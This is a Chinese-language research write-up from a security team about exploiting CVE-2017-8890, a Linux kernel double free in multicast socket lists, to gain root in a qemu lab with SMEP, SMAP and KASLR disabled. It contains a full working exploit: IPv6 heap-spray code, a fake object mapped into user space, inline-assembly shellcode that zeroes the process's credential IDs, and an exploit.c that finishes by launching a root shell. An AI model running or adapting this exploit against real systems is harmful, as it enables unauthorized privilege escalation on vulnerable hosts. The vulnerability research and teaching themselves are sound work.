Author: thor@MS509Team
最近一段时间在研究linux kernel的漏洞利用,我们以CVE-2017-8890为例探索了linux kernel的提权过程,以此记录并分享。
1. linux kernel 版本:4.10.6 x86_64
2. 调试环境:qemu + linux kernel + busybox + gdb
3. kernel 防护机制: no smep, no smap,no KASLR
4. 主机:Ubuntu 16.04
测试环境我们使用qemu运行linux kernel + busybox的最小化系统,并在Ubuntu主机上通过gdb远程调试linux kernel,十分便捷。同时,我们为了方便,关闭了内核的SMEP/SMAP、KASLR防护机制。
qemu:
gdb:
CVE-2017-8890是启明星辰ADLab去年披露的linux kernel double free漏洞,取名Phoenix Talon,可影响几乎所有Linux kernel 2.5.69 ~ Linux kernel 4.11的内核版本、对应的发行版本以及相关国产系统。我们简单介绍下该漏洞的原理。
我们在socket编程中服务端创建socket时会在内核创建一个inet_sock
结构体, 暂时称其为sock1:
struct inet_sock {
/* sk and pinet6 has to be the first two members of inet_sock */
struct sock sk;
........
__be32 inet_saddr;
__s16 uc_ttl;
__u16 cmsg_flags;
__be16 inet_sport;
__u16 inet_id;
..........
__be32 mc_addr;
struct ip_mc_socklist __rcu *mc_list;
struct inet_cork_full cork;
};
当服务端调用accept函数接收外来连接的时候会创建一个新的inet_sock
结构体, 称为sock2。sock2对象会从sock1对象复制一份ip_mc_socklist
指针,其结构体如下:
struct ip_mc_socklist {
struct ip_mc_socklist __rcu *next_rcu;
struct ip_mreqn multi;
unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */
struct ip_sf_socklist __rcu *sflist;
struct rcu_head rcu;
};
此时在内核中存在两个不同inet_sock
对象,但它们的mc_list
指针却指向同一个ip_mc_socklist
对象。此后,当服务端close socket的时候,内核会free对应的inet_sock
对象sock1,并同时释放mc_list
指针指向的那个ip_mc_socklist
对象。但是服务端在关闭accept创建的inet_sock
对象sock2时,会再次释放同一个mc_list
对象,造成double free漏洞。
该漏洞的原理比较简单,就是在复制对象的时候将指针也一同复制了一份,造成两个指针指向同一对象。因此,漏洞修复也比较简单,直接在复制对象的时候将mc_list
指针置为NULL即可。
我们直接在github上找到了一个可以运行的PoC,
编译如下:
gcc -static cve.cpp -o PoC -lpthread
运行后内核直接崩溃:
我们在崩溃界面可以看到漏洞的触发路径。
PoC的大致流程如下:
sockfd = socket(AF_INET, xx, IPPROTO_TCP);
setsockopt(sockfd, SOL_IP, MCAST_JOIN_GROUP, xxxx, xxxx);
bind(sockfd, xxxx, xxxx);
listen(sockfd, xxxx);
newsockfd = accept(sockfd, xxxx, xxxx);
close(newsockfd) // first free (kfree_rcu)
sleep(5) // wait rcu free(real free)
close(sockfd) // double free
我们首先创建一个服务端socket,并通过setsockopt设置MCAST_JOIN_GROUP
选项,主要是让内核创建ip_mc_socklist
对象。然后我们通过accept创建另外一个socket,使得newsockfd在内核中的mc_list
指针指向同一个ip_mc_socklist
对象。最后我们通过关闭sockfd和newsockfd去触发内核释放mc_list
指向的同一对象,导致double free。
我们在网上暂时还没有搜到可用的exploit,只有一些文章[1][2]讲解漏洞利用的思路。double free类型漏洞的一般利用思路是在第一次free后通过伪造数据去堆喷占位,控制第二次free时的数据,从而劫持内核的执行流程。
我们再看看double free的对象ip_mc_socklist
:
struct ip_mc_socklist {
struct ip_mc_socklist __rcu *next_rcu;
struct ip_mreqn multi;
unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */
struct ip_sf_socklist __rcu *sflist;
struct rcu_head rcu;
};
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
}
#define rcu_head callback_head
我们可以看到ip_mc_socklist
对象中包含一个rcu_head
对象,而该对象正好包含一个函数指针。ip_mc_socklist
对象的释放涉及的linux的RCU机制,比较复杂,我们暂时只需要知道ip_mc_socklist
对象真正释放的处理函数是__rcu_reclaim
:
static inline bool __rcu_reclaim(const char *rn, struct rcu_head *head)
{
unsigned long offset = (unsigned long)head->func;
rcu_lock_acquire(&rcu_callback_map);
if (__is_kfree_rcu_offset(offset)) {
RCU_TRACE(trace_rcu_invoke_kfree_callback(rn, head, offset));
kfree((void *)head - offset);
rcu_lock_release(&rcu_callback_map);
return true;
} else {
RCU_TRACE(trace_rcu_invoke_callback(rn, head));
head->func(head);
rcu_lock_release(&rcu_callback_map);
return false;
}
}
刚好在__rcu_reclaim
函数中存在一个分支去执行rcu_head
对象中的函数指针:
head->func(head)
因此,我们只需要劫持rcu_head对象即可劫持内核的执行。接下来,我们通过gdb调试一步步来实现我们的exploit。
为了能够劫持ip_mc_socklist
内核对象,我们必须要能够在第一次free后通过堆喷占位,用我们伪造的数据填充已经free掉的ip_mc_socklist
内核对象。ip_mc_socklist
对象在x86_64系统中大小为48字节,内核会通过kmalloc分配64字节的堆块,因此我们需要找到在内核中稳定分配64字节大小,并且能够控制分配内容的方法。我们试了sendmmsg方法,但是并未成功。通过内核堆喷ipv6_mc_socklist
结构体倒是成功了,但是通过gdb查看分配的对象大小却是72字节。我们直接通过源码计算ipv6_mc_socklist
结构体的大小只有64字节,多出来的8个字节怎么出来的呢?
struct ipv6_mc_socklist {
struct in6_addr addr;
int ifindex;
struct ipv6_mc_socklist __rcu *next;
rwlock_t sflock;
unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */
struct ip6_sf_socklist *sflist;
struct rcu_head rcu;
};
最后通过gdb调试我们才知道是因为内存对齐的原因。ipv6_mc_socklist
结构体中既有8字节的成员变量,也有4字节的成员变量,因此ipv6_mc_socklist
对齐到8字节,导致ipv6_mc_socklist
对象的内存大小多出来8个字节。我们想到一个简单的方法,就是patch kernel, 修改ipv6_mc_socklist
结构体定义,将两个4字节成员变量放在一起:
struct ipv6_mc_socklist {
struct in6_addr addr;
int ifindex;
unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */
struct ipv6_mc_socklist __rcu *next;
rwlock_t sflock;
struct ip6_sf_socklist *sflist;
struct rcu_head rcu;
};
修改后重新编译内核运行,成功实现了内核64字节堆喷。我们可以通过gdb查看堆喷结果。
第一次free时ip_mc_socklist
内核对象:
堆喷成功后第二次free:
通过对比我们可以看到,两次free的对象地址都是0xffff8800065ca0c0,说明是同一对象。同时,第二次free之前,我们成功通过堆喷,将之前free的对象填充为可控内容。堆喷的代码如下:
#define SPRAY_SIZE 5000
int sockfd[SPRAY_SIZE];
void spray_init() {
for(int i=0; i<SPRAY_SIZE; i++) {
if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {
perror("Socket");
exit(errno);
}
}
}
void heap_spray() {
struct sockaddr_in6 my_addr, their_addr;
unsigned int myport = 8000;
bzero(&my_addr, sizeof(my_addr));
my_addr.sin6_family = AF_INET6;
my_addr.sin6_port = htons(myport);
my_addr.sin6_addr = in6addr_any;
int opt =1;
struct group_req group1 = {0};
struct sockaddr_in6 *psin1;
psin1 = (struct sockaddr_in6 *)&group1.gr_group;
psin1->sin6_family = AF_INET6;
psin1->sin6_port = 1234;
inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(psin1->sin6_addr));
for(int j=0; j<SPRAY_SIZE; j++) {
setsockopt(sockfd[j], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group1, sizeof (group1));
}
}
我们将堆喷对象ipv6_mc_socklist
的adrr设置为"ff02:abcd:0:0:0:0:0:1",即可将堆喷对象的前8个字节设置为0x00000000cdab02ff,而这8个字节正好是double free对象ip_mc_socklist
的next_rcu
成员。因此,我们通过堆喷ipv6_mc_socklist
对象来劫持ip_mc_socklist
对象的释放。
当我们成功进行了堆喷劫持后,需要通过某种方式来获得在内核中执行代码的能力,即劫持EIP。前面我们提到ip_mc_socklist
对象中包含一个函数指针,我们是不是可以直接劫持该函数指针来劫持EIP呢?经过测试后发现这是不行的。我们通过gdb调试后发现即使我们通过堆喷劫持了ip_mc_socklist
对象中的函数指针,但是实际在__rcu_reclaim
函数中执行时,该函数指针已经被修改了,变成了其他值。我们在分析源码发现,原来kfree_rcu函数会修改ip_mc_socklist
对象中的函数指针,导致我们的堆喷失效。kfree_rcu
的调用链:
kfree_rcu->__kfree_rcu->kfree_call_rcu->__call_rcu
我们发现在函数的参数转换的时候,rcu_head中的函数指针会被修改为偏移量:
因此我们不能直接通过劫持函数指针来劫持EIP。我们知道linux的RCU机制使得kfree_rcu函数调用后,并不是马上去执行__rcu_reclaim
函数进行真正的释放动作,而是会让CPU过一段时间再执行。如果我们在__rcu_reclaim
函数执行前再次修改ip_mc_socklist
对象中的函数指针即可劫持EIP。但是我们并不能访问到堆喷的内核对象,我们该怎么修改呢?如果是在用户空间就好了!我们之前提到,ip_mc_socklist
对象的前8个字节是next_rcu
指针变量,该指针指向rcu链表中的下一个ip_mc_socklist
对象。我们可以通过劫持next_rcu
指针,使其指向我们在用户空间伪造的ip_mc_socklist
对象,然后再通过伪造用户空间对象的函数指针来劫持EIP,布局如下所示:
当我们将ip_mc_socklist
对象劫持到用户空间后,我们就可以通过多线程去修改伪造对象的函数指针,从而劫持到EIP。
由于没有SMEP、SMAP,我们劫持到EIP后可以直接跳转到我们在用户空间的shellcode中执行提权代码。常见的提权代码是执行如下函数:
commit_creds(prepare_kernel_cred(0))
prepare_kernel_cred
和commit_creds
是内核导出的符号,可以通过/proc/kallsyms查找相应内核地址。但是执行这两个函数能提权成功有一个前提条件,就是内核必须处于exp进程的上下文,即内核通过current宏获取到的进程描述符task_struct
必须是exp进程的,否则exp进程不能提权成功。我们在测试中发现,虽然通过劫持EIP成功执行了commit_creds(prepare_kernel_cred(0))
,但是返回的shell并不是root权限,说明提权并未成功。通过gdb调试一看,我们劫持到EIP时内核的进程上下文是ksoftirqd
进程或rcu_sched
进程。我们猜测,由于RCU机制的存在,ip_mc_socklist
对象的真正释放是在内核软中断处理中,因此我们劫持EIP时内核也处于软中断处理的进程上下文。所以,虽然我们能劫持EIP执行,但是却不能通过简单执行commit_creds函数执行提权,需要我们自己写shellcode。我们知道,只要我们能修改exp进程描述符中cred结构体的uid和euid为0,即可提权为root。因此在内核中执行如下代码即可:
void get_root(int pid){
struct pid * kpid = find_get_pid(pid);
struct task_struct * task = pid_task(kpid,PIDTYPE_PID);
unsigned int * addr = (unsigned int* )task->cred;
addr[1] = 0;
addr[2] = 0;
addr[3] = 0;
addr[4] = 0;
addr[5] = 0;
addr[6] = 0;
addr[7] = 0;
addr[8] = 0;
}
find_get_pid
和pid_task
函数是内核导出的函数,主要用于根据pid找到对应的进程描述符。这段代码是在内核中执行的,可以在编写的内核模块中编译和运行,但是不好编译为用户空间代码,因此我们直接将其转换为汇编代码:
unsigned long* find_get_pid = (unsigned long*)0xffffffff81077220;
unsigned long* pid_task = (unsigned long*)0xffffffff81077180;
int pid = getpid();
void get_root() {
asm(
"sub $0x18,%rsp;"
"mov pid,%edi;"
"callq *find_get_pid;"
"mov %rax,-0x8(%rbp);"
"mov -0x8(%rbp),%rax;"
"mov $0x0,%esi;"
"mov %rax,%rdi;"
"callq *pid_task;"
"mov %rax,-0x10(%rbp);"
"mov -0x10(%rbp),%rax;"
"mov 0x5f8(%rax),%rax;"
"mov %rax,-0x18(%rbp);"
"mov -0x18(%rbp),%rax;"
"add $0x4,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x8,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0xc,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x10,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x14,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x18,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x1c,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x20,%rax;"
"movl $0x0,(%rax);"
"nop;"
"leaveq;"
"retq ;");
}
综上,我们的第一版exploit.c如下所示:
#include <stdio.h>
#include <stdlib.h>
#include <sys/select.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <time.h>
#include <sys/types.h>
#include <pthread.h>
#include <net/if.h>
#include <errno.h>
#include <assert.h>
#include <sys/mman.h>
#define SPRAY_SIZE 5000
#define HELLO_WORLD_SERVER_PORT 8088
unsigned long* find_get_pid = (unsigned long*)0xffffffff81077220;
unsigned long* pid_task = (unsigned long*)0xffffffff81077180;
void *client(void *arg);
void get_root();
int pid=0;
void get_root() {
asm(
"sub $0x18,%rsp;"
"mov pid,%edi;"
"callq *find_get_pid;"
"mov %rax,-0x8(%rbp);"
"mov -0x8(%rbp),%rax;"
"mov $0x0,%esi;"
"mov %rax,%rdi;"
"callq *pid_task;"
"mov %rax,-0x10(%rbp);"
"mov -0x10(%rbp),%rax;"
"mov 0x5f8(%rax),%rax;"
"mov %rax,-0x18(%rbp);"
"mov -0x18(%rbp),%rax;"
"add $0x4,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x8,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0xc,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x10,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x14,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x18,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x1c,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x20,%rax;"
"movl $0x0,(%rax);"
"nop;"
"leaveq ;"
"retq ;"
);
}
int sockfd[SPRAY_SIZE];
void spray_init() {
for(int i=0; i<SPRAY_SIZE; i++) {
if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {
perror("Socket");
exit(errno);
}
}
}
void heap_spray() {
struct sockaddr_in6 my_addr, their_addr;
unsigned int myport = 8000;
bzero(&my_addr, sizeof(my_addr));
my_addr.sin6_family = AF_INET6;
my_addr.sin6_port = htons(myport);
my_addr.sin6_addr = in6addr_any;
int opt =1;
struct group_req group1 = {0};
struct sockaddr_in6 *psin1;
psin1 = (struct sockaddr_in6 *)&group1.gr_group;
psin1->sin6_family = AF_INET6;
psin1->sin6_port = 1234;
// cd ab 02 ff
inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(psin1->sin6_addr));
for(int j=0; j<SPRAY_SIZE; j++) {
setsockopt(sockfd[j], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group1, sizeof (group1));
}
}
void *func_modify(void *arg){
unsigned long fix_addr = 0xcdab02ff + 8*5;
unsigned long func = (unsigned long)&get_root;
while(1) {
*(unsigned long *)(fix_addr) = func;
}
}
void exploit(){
struct sockaddr_in server_addr;
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htons(INADDR_ANY);
server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
struct group_req group = {0};
struct sockaddr_in *psin;
psin = (struct sockaddr_in *)&group.gr_group;
psin->sin_family = AF_INET;
psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));
int server_socket = socket(PF_INET,SOCK_STREAM,0);
if( server_socket < 0){
printf("[Server]Create Socket Failed!");
exit(1);
}
int opt =1;
setsockopt(server_socket, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group));
if( bind(server_socket,(struct sockaddr*)&server_addr,sizeof(server_addr))){
printf("[Server]Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT);
exit(1);
}
if ( listen(server_socket, 10) ) {
printf("[Server]Server Listen Failed!");
exit(1);
}
pthread_t id_client;
pthread_create(&id_client,NULL,client,NULL);
spray_init();
struct sockaddr_in client_addr;
socklen_t length = sizeof(client_addr);
printf ("[Server]accept..... \n");
int new_server_socket = accept(server_socket,(struct sockaddr*)&client_addr,&length);
if ( new_server_socket < 0){
close(server_socket);
perror("[Server]Server Accept Failed!\n");
return;
}
unsigned long fix_addr = 0xcdab0000;
unsigned long * addr = (unsigned long *)mmap((void*)fix_addr, 1024, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -1, 0);
if (addr == MAP_FAILED){
perror("Failed to mmap: ");
return;
}
addr = (unsigned long *)0x00000000cdab02ff;
unsigned long func = (unsigned long)&get_root;
addr[0] = 0x0;
addr[1] = 0x0a0a02e0;
addr[2] = 0x00000002;
addr[3] = 0x0;
addr[4] = 0x0;
addr[5] = func;
pthread_t id_func;
pthread_create(&id_func,NULL,func_modify,NULL);
printf ("[Server]close new_server_socket \n");
close(new_server_socket);
sleep(5);
heap_spray();
close(server_socket);
printf(" current uid is : %d \n", getuid());
printf(" current euid is : %d \n", geteuid());
system("/bin/sh");
}
void *client(void *arg){
struct sockaddr_in client_addr;
bzero(&client_addr,sizeof(client_addr));
client_addr.sin_family=AF_INET;
client_addr.sin_addr.s_addr=htons(INADDR_ANY);
client_addr.sin_port=htons(0);
int client_socket=socket(AF_INET,SOCK_STREAM,0);
if(client_socket<0){
printf("[Client]Create socket failed!\n");
exit(1);
}
if(bind(client_socket,(struct sockaddr*)&client_addr,sizeof(client_addr))){
printf("[Client] client bind port failed!\n");
exit(1);
}
struct sockaddr_in server_addr;
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family=AF_INET;
if(inet_aton("127.0.0.1",&server_addr.sin_addr)==0){
printf("[Client]Server IP Address error\n");
exit(0);
}
server_addr.sin_port=htons(HELLO_WORLD_SERVER_PORT);
socklen_t server_addr_length=sizeof(server_addr);
if(connect(client_socket,(struct sockaddr*)&server_addr,server_addr_length)<0){
printf("[Client]cannot connect to 127.0.0.1!\n");
exit(1);
}
printf("[Client]Close client socket\n");
close(client_socket);
return NULL;
}
int main(int argc,char* argv[]) {
printf("pid : %d\n", getpid());
pid = getpid();
exploit();
return 0;
}
我们编译exploit.c:
在qemu的虚拟环境中运行我们的exp:
最终,我们在qemu + linux kernel + busybox的虚拟环境中成功实现了root提权。
本文记录了我们初步研究CVE-2017-8890漏洞利用的过程及初步成果,在qemu + linux kernel + busybox的最小化虚拟环境中成功实现了root提权。但是需要注意的是,我们这里的linux kernel并没有开启SMEP/SMAP,exp使用了ret2usr的方法去执行shellcode提权。如果开启SMEP/SMAP,内核将不能直接访问我们用户空间的数据或直接执行用户空间的shellcode,我们的这个exp也就不再有效。同时,我们这个exp的堆喷使用了patch kernel的方法,在实际环境中肯定不再适用。我们将在下一篇文章中探讨内核堆喷的其他方法,以及在内核开启SMEP的情况下的绕过方法。欢迎大家一起探讨学习!
[1] http://www.freebuf.com/articles/terminal/160041.html